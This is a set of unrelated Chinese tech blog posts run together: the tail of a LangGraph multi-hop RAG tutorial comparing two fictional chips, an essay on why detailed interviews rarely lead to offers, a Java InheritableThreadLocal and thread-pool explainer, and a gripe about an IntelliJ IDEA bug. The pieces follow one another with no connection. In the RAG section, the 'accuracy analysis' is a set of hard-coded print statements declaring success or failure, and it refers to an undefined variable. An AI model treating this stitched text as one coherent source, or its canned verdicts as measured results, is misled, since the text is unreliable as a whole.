  3. 收集与综合:元代理收集所有子问题的答案,进行最终推理步骤,将它们综合为对原始复杂查询的单一、全面的答案。

我们将以一个无法通过单一检索回答的比较性问题为例,构建并比较简单 RAG 系统与多跳 RAG 系统,证明只有多跳系统才能成功收集必要的证据,以提供准确且富有洞察力的最终答案。

首先为初始分解步骤定义 Pydantic 模型,从而结构化元代理规划阶段输出的内容。

from langchain_core.pydantic_v1 import BaseModel, Field
from typing import List

class SubQuestions(BaseModel):
    """分解代理输出的Pydantic模型,包含一组独立的子问题"""
    questions: List[str] = Field(description="A list of 2-3 simple, self-contained questions that, when answered together, will fully address the original complex query.")

这个 SubQuestions 模型是元代理首次行动的合约,迫使 LLM 将复杂查询分解为一系列简单、可回答的问题,是并行"分而治之"策略的基础步骤。

然后构建高级多跳系统作为 LangGraph 图。第一个节点将是"分解器",即元代理的规划角色。

from typing import TypedDict, List, Dict, Annotated
import operator

class MultiHopRAGState(TypedDict):
    original_question: str
    sub_questions: List[str]
    # 字典以问题作为键,存储每个子问题的答案
    sub_question_answers: Annotated[Dict[str, str], operator.update]
    final_answer: str

# 节点 1:分解器(元代理的第一步)
decomposer_prompt = ChatPromptTemplate.from_template(
    "You are a query decomposition expert. Your job is to break down a complex question into simple, independent sub-questions that can be answered by a retrieval system. "
    "Do not try to answer the questions yourself.\n\n"
    "Question: {question}"
)

decomposer_chain = decomposer_prompt | llm.with_structured_output(SubQuestions)

def decomposer_node(state: MultiHopRAGState):
    """获取原始复杂问题并将其分解为子问题列表"""
    print("--- [Meta-Agent] Decomposing complex question... ---")
    result = decomposer_chain.invoke({"question": state['original_question']})
    print(f"--- [Meta-Agent] Generated {len(result.questions)} sub-questions. ---")
    return {"sub_questions": result.questions}

decomposer_node 是研究代理的战略大脑,它不会尝试回答查询,其唯一且关键的任务是分析用户意图并将其分解为一组独立、可并行化的研究任务。

下一个节点将并行为每个子问题协调执行标准的 RAG 流程。

from concurrent.futures import ThreadPoolExecutor, as_completed

# 标准、自包含的RAG链,是并行检索代理的“引擎”
sub_question_rag_chain = (
    {"context": retriever | format_docs, "question": RunnablePassthrough()}
    | generator_prompt
    | llm
    | StrOutputParser()
)

def retrieval_agent_node(state: MultiHopRAGState):
    """节点 2:为每个子问题并行运行完整 RAG 进程"""
    print(f"--- [Retrieval Agents] Answering {len(state['sub_questions'])} sub-questions in parallel... ---")
    
    answers = {}
    # 用 ThreadPoolExecutor 对每个子问题并发运行‘sub_question_rag_chain’
    with ThreadPoolExecutor(max_workers=len(state['sub_questions'])) as executor:
        # 为每个待回答子问题构建一个 future
        future_to_question = {executor.submit(sub_question_rag_chain.invoke, q): q for q in state['sub_questions']}
        for future in as_completed(future_to_question):
            question = future_to_question[future]
            try:
                answer = future.result()
                answers[question] = answer
                print(f"  - Answer found for sub-question: '{question}'")
            except Exception as e:
                answers[question] = f"Error answering question: {e}"
    # 将结果收集到“sub_question_answers”字典中
    return {"sub_question_answers": answers}

retrieval_agent_node 是系统中的分散-聚合核心,接收 sub_questions 列表,并用 ThreadPoolExecutor 将每个条目分配到各自独立的 RAG 链。这是一种强大的并行形式,同时运行多个完整 RAG 流程。在所有并行代理找到答案后,该节点将所有发现汇总到 sub_question_answers 字典中。

最后,“合成器”节点作为元代理的最终步骤,将并行发现整合为一个连贯的答案。

# 节点 3:合成器(元代理的最后一步)
synthesizer_prompt = ChatPromptTemplate.from_template(
    "You are a synthesis expert. Your job is to combine the answers to several sub-questions into a single, cohesive, and comprehensive answer to the user's original complex question.\n\n"
    "Original Question: {original_question}\n\n"
    "Sub-Question Answers:\n{sub_question_answers}"
)

synthesizer_chain = synthesizer_prompt | llm | StrOutputParser()

def synthesizer_node(state: MultiHopRAGState):
    """获取子问题的答案,并合成最终的全面答案"""
    print("--- [Meta-Agent] Synthesizing final answer... ---")
    
    # 将收集的子问题答案格式化为最终提示
    sub_answers_str = "\n".join([f"- Q: {q}\n- A: {a}" for q, a in state['sub_question_answers'].items()])
    
    final_answer = synthesizer_chain.invoke({
        "original_question": state['original_question'],
        "sub_question_answers": sub_answers_str
    })
    return {"final_answer": final_answer}

synthesizer_node 是至关重要的最终推理步骤,它本身不执行任何检索,任务是接收 sub_question_answers 中的预处理事实,并将其构造为能直接回应用户原始复杂查询的连贯叙述。

最后按线性顺序组装图:分解 -> 并行检索 -> 综合。

from langgraph.graph import StateGraph, END

workflow = StateGraph(MultiHopRAGState)
workflow.add_node("decompose", decomposer_node)
workflow.add_node("retrieve_in_parallel", retrieval_agent_node)
workflow.add_node("synthesize", synthesizer_node)

workflow.set_entry_point("decompose")

workflow.add_edge("decompose", "retrieve_in_parallel")
workflow.add_edge("retrieve_in_parallel", "synthesize")
workflow.add_edge("synthesize", END)
multi_hop_rag_app = workflow.compile()

并行多跳检索

给两个系统一个复杂且需要比较的问题,这个问题无法通过单次检索调用正确回答,从而对比分析两种查询方式。

# 查询需要比较两个产品,信息在独立、不重叠的文档中
user_query = "Compare the QLeap-V4 and the Eco-AI-M2, focusing on their target use case and power consumption."

# --- 执行简单 RAG ---
print("="*60)
print("                  SIMPLE RAG SYSTEM OUTPUT")
print("="*60 + "\n")
print(f"Final Answer:\n{simple_answer}")

# --- 执行多跳 RAG ---
print("\n" + "="*60)
print("                 MULTI-HOP RAG SYSTEM OUTPUT")
print("="*60 + "\n")
print("--- Sub-Question Answers ---")
for i, (q, a) in enumerate(multi_hop_result['sub_question_answers'].items()):
    print(f"{i+1}. Q: {q}\n   A: {a}")
print("\n--- Final Synthesized Answer ---")
print(multi_hop_result['final_answer'])

# --- 最终分析 ---
print("\n" + "="*60)
print("                     ACCURACY & QUALITY ANALYSIS")
print("="*60 + "\n")
print("**Simple RAG Performance:**")
print("- Result: COMPLETE FAILURE.")
print("- Reason: The user's query contained terms for both products. Vector search found the documents that were, on average, most semantically similar to the entire query, retrieving only documents about the Eco-AI-M2. It completely failed to retrieve any information about the QLeap-V4. Without the necessary context for both products, a comparison was impossible.\n")
print("**Multi-Hop RAG Performance:**")
print("- Result: COMPLETE SUCCESS.")
print("- Reason: The system's intelligence was in the initial decomposition step. The Meta-Agent broke the complex comparative query into two simple, focused sub-questions: 1. Get info on Product A. and 2. Get info on Product B. The parallel Retrieval Agents had no trouble answering these simple questions, each retrieving the correct, focused context. The final Synthesizer agent then received a perfect, complete set of facts about both products, making the final comparison trivial.")

输出为……

#### 输出 ####
============================================================
                  SIMPLE RAG SYSTEM OUTPUT
============================================================

Final Answer:
Based on the provided context, the Eco-AI-M2 chip is designed for edge computing and mobile devices, with a primary feature of low power consumption at only 15W under full load. The context does not contain information about the QLeap-V4, so I cannot provide a comparison.

============================================================
                 MULTI-HOP RAG SYSTEM OUTPUT
============================================================
--- Sub-Question Answers ---
1. Q: What is the target use case and power consumption of the QLeap-V4?
   A: The QLeap-V4 processor is designed for maximum performance in data centers, with a primary use case of large-scale AI model training. It consumes 1200W of power under full load.
2. Q: What is the target use case and power consumption of the Eco-AI-M2?
   A: The Eco-AI-M2 chip is designed for edge computing and mobile devices like drones and smart cameras. Its key feature is low power consumption, drawing only 15W under full load.
--- Final Synthesized Answer ---
The QLeap-V4 and the Eco-AI-M2 are designed for very different purposes, primarily distinguished by their target use case and power consumption.
-   **QLeap-V4**: This is a high-performance processor intended for data centers. Its main use case is large-scale AI model training, and it has a high power consumption of 1200W.
-   **Eco-AI-M2**: This is a low-power chip designed for edge computing and mobile devices. Its focus is on energy efficiency, consuming only 15W, making it suitable for applications like drones and smart cameras.

最终分析得出明确结论,性能差异并非渐进式,而是一次能力上的飞跃。

  • 单次检索步骤无法解决比较查询歧义,仅检索了两个产品中的一个上下文,从根本上无法收集必要的证据。
  • 多跳系统之所以成功,是因为没有试图一次性回答复杂问题,而是识别了查询的比较性质,并将问题分解。
  • 通过并行、专注的 RAG 代理来解决每个简单的子问题,确保收集了所有必要证据,最后的综合步骤只是简单的将预先处理的事实结合起来。

Hi,我是俞凡,一名兼具技术深度与管理视野的技术管理者。曾就职于 Motorola,现任职于 Mavenir,多年带领技术团队,聚焦后端架构与云原生,持续关注 AI 等前沿方向,也关注人的成长,笃信持续学习的力量。在这里,我会分享技术实践与思考。欢迎关注公众号「DeepNoMind」,星标不迷路。也欢迎访问独立站 www.DeepNoMind.com,一起交流成长。

本文由mdnice多平台发布

最近看到一个职场社区帖子,吐槽了一个关于面试和 offer 的相关话题,参与讨论的同学非常多。

问题描述差不多是这样:

“我发现凡是给 offer 的公司,面试时基本不问技术细节,那些问得又多又细的公司,后面基本就没下文了……”

那关于这个问题,不知道大家有没有类似的体验或者经历?

你信心满满地去一家公司,面试官是个看起来技术大拿模样的人,一上来就给你整了个高并发场景下的分布式锁实现,问你 JVM 调优的十八般武艺,甚至还要跟你探讨一下 Linux 内核的源码细节。

你虽然答得满头大汗,但自我感觉还不错,仿佛自己把毕生所学都展示出来了。

但是最后结果呢?客气地送你一句等通知,然后便石沉大海。或者回去等了个三五天、一个星期,最后等来的是一句冰冷的不合适。

而反观另外一些面试经历,你可能就是抱着去溜达一圈的心态去转转的,面试让你感觉像在聊天,聊聊项目,聊聊过往经历,聊聊技术。

你心里还在犯嘀咕,没了?就这?

结果第二天,HR 就打电话过来找你谈薪,然后询问入职时间,速度快得让你怀疑人生。

看到这里,你是不是也挺疑惑,这到底是为什么?

难道某些公司就爱玩反向筛选?还是说问技术细节本身就是一种送客的委婉方式?这背后到底有没有什么可以遵循的逻辑原理可以分析分析。

所以今天咱们也用一篇文章的篇幅来聊一聊这个话题,也欢迎大家分享交流自己的观点和看法。

对于那些问得又细又深,最后却没给 offer 的,往往有这么几种情况。

第一种,也是最现实、最常见的大环境筛选

什么意思呢?

现在的求职大环境大家也知道,岗位有限,候选人太多。HR 和面试官手里攥着一堆 985、211 甚至大厂背景的简历。

简单点说,他们不缺候选人,所以他们有资格挑。

对于中间段位的候选人,也就是我们大多数普通人,他们不需要看你有多优秀,只需要找出你简历里的一个瑕疵,一个技术细节没答上来,或许就有可能会把你刷掉。毕竟对于他们来说,能选择的太多。

其次,还有一个比较现实的问题是,对于那些问得细的公司,不代表真的招人

当一个团队实际并不缺人,或者只是抱着宁缺毋滥的心态在招人时,他们就有资本去挑刺。

这时候面试官常常带着一种找漏洞的心态。他们的问题像一张细密的筛网,目的似乎不是看你有多合适,而是为了证明你哪里不合适。

说实话,这种还是挺恶心的。

第三种,也是最最扎心的一种情况:你只是他们的「免费咨询顾问」

更直白一点说就是在套方案。

现在的行情下,很多公司业务停滞,不怎么招人,但又面临一些棘手的技术难题。

他们打着招聘的旗号,实际上是把市场上优秀的工程师请过来,所谓的面试其实也就是一场免费的头脑风暴。他们会故意引导你去讲你上一家公司的架构设计、服务拆分方案、甚至是具体的排错思路。

整个面试过程你自认为胸有成竹,方案和思路也讲得滔滔不绝,殊不知,人家还另有企图呢。

有一说一,这种是最最恶心的一种情况。

而对于那些问得不多、但 offer 倒是给的挺痛快的公司,通常又是怎么回事呢?

首先,这往往意味着这个公司是「真·缺人」呐。

这种公司通常处于一种“生死存亡”或者业务极速扩张的阶段。老板或者团队负责人可能已经被缺人折磨得寝食难安了。

他们的核心诉求非常明确:找个能立刻干活、能立刻上手的人。

这时候,他们不会跟你去扯什么虚头巴脑的设计模式,更不会去考你那些冷门的技术知识。

他们关心的是:你能不能明天就来上班,你能不能把这个烂摊子代码接过去维护,你能不能抗住连续一个月的强度。

在这种极度的需求面前,所谓的技术细节反倒成了次要的。

但是说实话,这种 offer 虽然来得容易,但兄弟记住,这往往也是把双刃剑

因为“真·缺人”的背后,往往意味着技术债巨多、管理混乱,或者是一个谁都不愿意接的坑。

拿到这种 offer,你既可能是一飞冲天的救世主,也有可能是一头扎进泥潭的接盘侠。

当然,还有一种情况,虽然不那么好听,但也必须提一嘴。

那就是,有些公司其实是在广撒网。他们可能并没有确切的 HC,或者他们需要的只是一个廉价的劳动力。

对于这种公司,问太多技术细节反而会吓跑你,他们更希望用更轻松的面试体验和更高薪的承诺来把你招进去,至于技术匹配度嘛,额……那是入职以后的事情了。

文章的最后我想说的是,面试是一个双向选择的过程,也是一个互相试探的过程。

当你遇到那个问得特别细的面试官时,别急着心里骂娘,也别急着觉得自己没戏了。你可以试着把这场技术拷问变成一场技术交流。

如果对方是在套方案,你可以适当保留,点到为止;如果对方是真的在考察技术深度,那正好展示你的技术功底。

而当你遇到那个聊两句就给 offer 的公司时,也别急着狂喜。

可以多问问团队现状,问问业务体量,问问技术栈,这时候,一定要记住,你该反问的要反问,该考察的要考察

因为虽说大环境寒冷,但是我觉得找到一个不坑的公司有时候比拿到一个所谓的 offer 更加重要,大家觉得呢?

好了,今天就先聊这么多吧,希望能对大家有所启发,我们下篇见。

注:本文在GitHub开源仓库「编程之路」 https://github.com/rd2coding/Road2Coding 中已经收录,里面有我整理的6大编程方向(岗位)的自学路线+知识点大梳理、面试考点、我的简历、几本硬核pdf笔记,以及程序员生活和感悟,欢迎star。

InheritableThreadLocal相比ThreadLocal多一个能力:在创建子线程Thread时,子线程Thread会自动继承父线程的InheritableThreadLocal信息到子线程中,进而实现在在子线程获取父线程的InheritableThreadLocal值的目的。

关于ThreadLocal详细内容,可以看这篇文章:史上最全ThreadLocal 详解

和 ThreadLocal 的区别

举个简单的栗子对比下InheritableThreadLocal和ThreadLocal:

public class InheritableThreadLocalTest {    
    private static final ThreadLocal<String> threadLocal = new ThreadLocal<>();    
    private static final InheritableThreadLocal<String> inheritableThreadLocal = new InheritableThreadLocal<>();    

    public static void main(String[] args) {        
        testThreadLocal();        
        testInheritableThreadLocal();    
    }    

    /**     * threadLocal测试     */    
    public static void testThreadLocal() {       
         // 在主线程中设置值到threadLocal        
         threadLocal.set("我是父线程threadLocal的值");        
         // 创建一个新线程并启动        
         new Thread(() -> {            
                 // 在子线程里面无法获取到父线程设置的threadLocal,结果为null            
                 System.out.println("从子线程获取到threadLocal的值: " + threadLocal.get());           }
         ).start();    
     }    
 
     /**     * inheritableThreadLocal测试     */  
    public static void testInheritableThreadLocal() {        
        // 在主线程中设置一个值到inheritableThreadLocal        
        inheritableThreadLocal.set("我是父线程inheritableThreadLocal的值");        
        // 创建一个新线程并启动        
        new Thread(() -> {            
                // 在子线程里面可以自动获取到父线程设置的inheritableThreadLocal    
                System.out.println("从子线程获取到inheritableThreadLocal的值: " + inheritableThreadLocal.get());        
            }).start();    
        }
    }

执行结果:

从子线程获取到threadLocal的值:null
从子线程获取到inheritableThreadLocal的值:我是父线程inheritableThreadLocal的值

可以看到子线程中可以获取到父线程设置的inheritableThreadLocal值,但不能获取到父线程设置的threadLocal值

实现原理

InheritableThreadLocal 的实现原理相当精妙,它通过在创建子线程的瞬间,“复制”父线程的线程局部变量,从而实现了数据从父线程到子线程的一次性、创建时的传递 。

其核心工作原理可以清晰地通过以下序列图展示,它描绘了当父线程创建一个子线程时,数据是如何被传递的:

sequenceDiagram
    participant Parent as 父线程
    participant Thread as Thread构造方法
    participant ITL as InheritableThreadLocal
    participant ThMap as ThreadLocalMap
    participant Child as 子线程

    Parent->>Thread: 创建 new Thread()
    Note over Parent,Thread: 关键步骤:初始化
    Thread->>Thread: 调用 init() 方法
    Note over Thread,ITL: 检查父线程的 inheritableThreadLocals
    Thread->>+ThMap: createInheritedMap(<br/>parent.inheritableThreadLocals)
    ThMap->>ThMap: 新建一个ThreadLocalMap
    loop 遍历父线程Map中的每个Entry
        ThMap->>+ITL: 调用 key.childValue(parentValue)
        ITL-->>-ThMap: 返回子线程初始值<br/>(默认返回父值,可重写)
        ThMap->>ThMap: 将 (key, value) 放入新Map
    end
    ThMap-->>-Thread: 返回新的ThreadLocalMap对象
    Thread->>Child: 将新Map赋给子线程的<br/>inheritableThreadLocals属性
    Note over Child: 子线程拥有父线程变量的副本

下面我们来详细拆解图中的关键环节。

### 核心实现机制

  1. **数据结构基础:Thread类内部维护了两个 ThreadLocalMap类型的变量 :

    • threadLocals:用于存储普通 ThreadLocal设置的变量副本。
    • inheritableThreadLocals:专门用于存储 InheritableThreadLocal设置的变量副本 。InheritableThreadLocal通过重写 getMapcreateMap方法,使其所有操作都针对 inheritableThreadLocals字段,从而与普通 ThreadLocal分离开 。
  2. 继承触发时刻:子线程的创建。继承行为发生在子线程被创建(即执行 new Thread())时。在 Thread类的 init方法中,如果判断需要继承(inheritThreadLocals参数为 true父线程(当前线程)的 inheritableThreadLocals不为 null,则会执行复制逻辑 。
  3. 复制过程的核心:createInheritedMap。这是实现复制的核心方法 。它会创建一个新的 ThreadLocalMap,并将父线程 inheritableThreadLocals中的所有条目遍历拷贝到新 Map 中。

    • Key的复制:Key(即 InheritableThreadLocal对象本身)是直接复制的引用。
    • Value的生成:Value 并非直接复制引用,而是通过调用 InheritableThreadLocalchildValue(T parentValue)方法来生成子线程中的初始值。默认实现是直接返回父值return parentValue;),这意味着对于对象类型,父子线程将共享同一个对象引用 。

关键特性与注意事项

  1. 创建时复制,后续独立:继承只发生一次,即在子线程对象创建的瞬间。此后,父线程和子线程对各自 InheritableThreadLocal变量的修改互不影响 。
  2. 在线程池中的局限性:这是 InheritableThreadLocal最需要警惕的问题。线程池中的线程是复用的,这些线程在首次创建时可能已经从某个父线程继承了值。但当它们被用于执行新的任务时,新的任务提交线程(逻辑上的“父线程”)与工作线程已无直接的创建关系,因此之前继承的值不会更新,这会导致数据错乱(如用户A的任务拿到了用户B的信息)或内存泄漏​ 。对于线程池场景,应考虑使用阿里开源的 TransmittableThreadLocal (TTL)​ 。
  3. 浅拷贝与对象共享:由于 childValue方法默认是浅拷贝,如果存入的是可变对象(如 MapList),父子线程实际持有的是同一个对象的引用。在一个线程中修改该对象的内部状态,会直接影响另一个线程 。若需隔离,可以重写 childValue方法实现深拷贝 。
  4. 内存泄漏风险:与 ThreadLocal类似,如果线程长时间运行(如线程池中的核心线程),并且未及时调用 remove方法清理,那么该线程的 inheritableThreadLocals会一直持有值的强引用,导致无法被GC回收。良好的实践是在任务执行完毕后主动调用 remove()

线程池中局限性

一般来说,在真实的业务场景下,没人会直接 new Thread,而都是使用线程池的,因此InheritableThreadLocal在线程池中的使用局限性要额外注意

首先,我们先理解 InheritableThreadLocal的继承前提

  • InheritableThreadLocal的继承只发生在 新线程被创建时(即 new Thread()并启动时)。在创建过程中,子线程会复制父线程的 InheritableThreadLocal值。
  • 在线程池中,线程是预先创建或按需创建的,并且会被复用。因此,继承只会在线程池创建新线程时发生,而不会在复用现有线程时发生。

再看线程池创建新线程的条件,对于标准的 ThreadPoolExecutor,新线程的创建遵循以下规则:

  1. 当前线程数 < 核心线程数:当提交新任务时,如果当前运行的线程数小于核心线程数,即使有空闲线程,线程池也会创建新线程来处理任务。此时,新线程会继承父线程(提交任务的线程)的 InheritableThreadLocal
  2. 当前线程数 >= 核心线程数 && 队列已满 && 线程数 < 最大线程数:当任务队列已满,且当前线程数小于最大线程数时,线程池会创建新线程来处理任务。同样,新线程会继承父线程的 InheritableThreadLocal

不会继承的场景

  • 线程复用:当线程池中有空闲线程时(例如,当前线程数 >= 核心线程数,但队列未满),任务会被分配给现有线程执行。此时,没有新线程创建,因此不会发生继承。现有线程的 InheritableThreadLocal值保持不变(可能是之前任务设置的值),这可能导致数据错乱(如用户A的任务看到用户B的数据)。
  • 线程数已达最大值:如果线程数已达最大线程数,且队列已满,新任务会被拒绝(根据拒绝策略),也不会创建新线程,因此不会继承。

不只是线程池污染,线程池使用 InheritableThreadLocal 还可能存在获取不到值的情况。例如,在执行异步任务的时候,复用了某个已有的线程A,并且当时创建该线程A的时候,没有继承InheritableThreadLocal,进而导致后面复用该线程的时候,从InheritableThreadLocal获取到的值为null:

public class InheritableThreadLocalWithThreadPoolTest {    
    private static final InheritableThreadLocal<String> inheritableThreadLocal = new InheritableThreadLocal<>();    
    // 这里线程池core/max数量都只有2    
    private static final ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(            
        2,            
        2,            
        0L,            
        TimeUnit.MILLISECONDS,            
        new LinkedBlockingQueue<Runnable>(3000),            
        new ThreadPoolExecutor.CallerRunsPolicy()    
    );    
    
    public static void main(String[] args) {        
    // 先执行了不涉及InheritableThreadLocal的子任务初始化线程池线程 
           testAnotherFunction();        
           testAnotherFunction();        
           // 后执行了涉及InheritableThreadLocal
           testInheritableThreadLocalWithThreadPool("张三");        
           testInheritableThreadLocalWithThreadPool("李四");        
           threadPoolExecutor.shutdown();    
     }    
     
     /**     * inheritableThreadLocal+线程池测试     */    
        public static void testInheritableThreadLocalWithThreadPool(String param) {        
            // 1. 在主线程中设置一个值到inheritableThreadLocal        
             inheritableThreadLocal.set(param);        
            // 2. 提交异步任务到线程池        
            threadPoolExecutor.execute(() -> {            
            // 3. 在线程池-子线程里面可以获取到父线程设置的inheritableThreadLocal吗?            
                System.out.println("线程名: " + Thread.currentThread().getName() + ", 父线程设置的inheritableThreadLocal值: " + param + ", 子线程获取到inheritableThreadLocal的值: " + inheritableThreadLocal.get());        
            });        
            // 4. 清除inheritableThreadLocal        
            inheritableThreadLocal.remove();    
       }    
                   
       /**     * 模拟另一个独立的功能     */   
       public static void testAnotherFunction() {        
           // 提交异步任务到线程池        
           threadPoolExecutor.execute(() -> {            
           // 在线程池-子线程里面可以获取到父线程设置的inheritableThreadLocal吗?            
               System.out.println("线程名: " + Thread.currentThread().getName() + ", 线程池-子线程摸个鱼");        
           });    
       }
}

执行结果:

线程名:pool-1-thread-2,线程池-子线程摸个鱼
线程名:pool-1-thread-1,线程池-子线程摸个鱼
线程名:pool-1-thread-1,父线程设置的inheritableThreadLocal值:李四,子线程获取到inheritableThreadLocal的值:null
线程名:pool-1-thread-2,父线程设置的inheritableThreadLocal值:张三,子线程获取到inheritableThreadLocal的值:null

当然了,解决这个问题可以考虑使用阿里开源的 TransmittableThreadLocal (TTL),​或者在提交异步任务前,先获取线程数据,再传入。例如:

// 1. 在主线程中先获取inheritableThreadLocal的值
String name = inheritableThreadLocal.get();    
    
// 2. 提交异步任务到线程池        
threadPoolExecutor.execute(() -> {            
// 3. 在线程池-子线程里面直接传入数据  
System.out.println("线程名: " + Thread.currentThread().getName() + ", 父线程设置的inheritableThreadLocal值: " + param + ", 子线程获取到inheritableThreadLocal的值: " + name);        
            });        

与 ThreadLocal 的对比

特性ThreadLocalInheritableThreadLocal
数据隔离线程绝对隔离线程绝对隔离
子线程继承不支持支持(创建时)
底层存储字段Thread.threadLocalsThread.inheritableThreadLocals
适用场景线程内全局变量,避免传参父子线程间需要传递上下文数据

大家好,我是R哥。

话说我昨天不是发了《IDEA 出现重大 Bug!不要升级!不要升级!》这篇文章吗?

今天上午就收到了某同学的反馈:

今天确实也收到 IDEA 2025.3.1.1 版本的更新了:

难道 IntelliJ IDEA 连夜就修复了我这个 BUG??

这也太巧了吧?!

抱着预期的心情更新了 2025.3.1.1,结局让我有点失望,还是那样。。

删除各种缓存,试了各种方法都没有用,就差重装了(估计也没用),社区一堆的 BUG 贴都还是 OPEN 状态呢。

于是我去查了 2025.3.1.1 的更新说明:

https://youtrack.jetbrains.com/articles/IDEA-A-2100662602/Int...

确实修复了几个大 BUG,包括 IDEA 2025.3.1 打开大 Maven 项目时会卡死的问题也修复了,但弹窗空白这个 BUG 并没有涵盖其中。。

似乎官方是解决不了这个 BUG?

这个问题在 24.2.5 版本后就开始出现了,一直都没有解决,一个这么重大的 BUG 拖了这么久不修复,着实难以理解!

先勉强用着吧,后面如果官方修了,或者有绕过方案,我也会第一时间再跟大家同步。

好了,今天的分享就到这里了,后面我也会分享更多好玩的 Java 技术和最新的技术资讯,关注Java技术栈第一时间推送。

版权声明: 本文系公众号 "Java技术栈" 原创,转载、引用本文内容请注明出处,抄袭、洗稿一律投诉侵权,后果自负,并保留追究其法律责任的权利。